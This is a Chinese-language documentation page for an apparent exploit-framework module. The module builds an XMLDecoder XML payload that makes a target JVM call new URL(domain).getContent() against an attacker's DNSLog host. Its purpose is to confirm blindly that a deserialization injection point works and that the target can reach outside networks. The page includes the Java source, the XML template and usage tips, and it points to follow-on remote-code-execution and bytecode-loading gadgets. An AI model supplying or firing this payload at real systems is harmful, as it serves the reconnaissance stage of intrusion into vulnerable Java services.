- 类别:xml 别名:— 优先级:—
- 作者:—
- 依赖:
jdk(纯 JDK,无第三方依赖)
生成一段 XMLDecoder XML,令目标在解析时 new java.net.URL(<domain>).getContent(),从而发起一次出站 DNS/HTTP 请求。用于无回显探测:确认目标是否真的解析并执行了 XMLDecoder 输入(漏洞存活性 / 出网能力判断)。
- 入口
tags:XMLDecoderPayload、ENDXMLDecoderPayload—— 承接 XMLDecoder Payload 入口。END—— 自闭环终点,探测请求即最终效果。
- 衔接
nextTags:无。 excludes:无。
纯 sink,invoke 不调用 chain.doCreate:
@Param(name="DNSLog域名", description="eg: x.dnslog.cn")
public static String domain;
public static String template;
private String getObject() {
return String.format(template, domain);
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject();
}
static {
template = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<java>\n"
+ " <new class=\"java.net.URL\">\n"
+ " <string>%s</string>\n"
+ " <void method=\"getContent\"/>\n"
+ " </new>\n</java>";
}模板语义:
<new class="java.net.URL"><string>%s</string>—— 以注入的domain作为 URL 构造参数new URL(domain)。<void method="getContent"/>—— 对该 URL 调用getContent(),触发实际网络连接(进而产生 DNS 解析)。
由于只做一次 URL 取内容,无命令执行、无字节码,副作用极小,是判断 XMLDecoder 注入点是否可达、目标是否出网的理想「哑弹」。domain 一般填带唯一子域的 DNSLog 地址(如 http://<rand>.x.dnslog.cn),据 DNS 解析记录判定命中。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
domain |
DNSLog 域名 | 作为 new URL(...) 的参数,通常带唯一子域 |
无 | 自由文本,建议含协议前缀(如 http://x.dnslog.cn) |
java.net.URL需可识别协议;纯裸域名可能构造失败,实践中填http://<domain>更稳妥。
- 依赖
java.beans.XMLDecoder+java.net.URL,全 JDK 版本通用,无模块化限制。 - 出站请求由目标 JVM 直接发起,可同时探测「注入点可达」与「目标出网」两件事。
- 局限:仅证明代码执行到
getContent(),不代表能落地更强 sink;确认存活后再切换 XMLExec 等 RCE sink。
自由构件,未直接出现在预设链中(usedInChains 为空)。
- 同族探测/攻击 sink:XMLExec、XMLJNDI、
XMLSleep(延时盲探)。 - 加载字节码:XMLJdkDefineClass、XMLBceLoader。
- 上游:XMLDecoder Payload 入口 /
SpringBeanXMLDecoderClassLoader。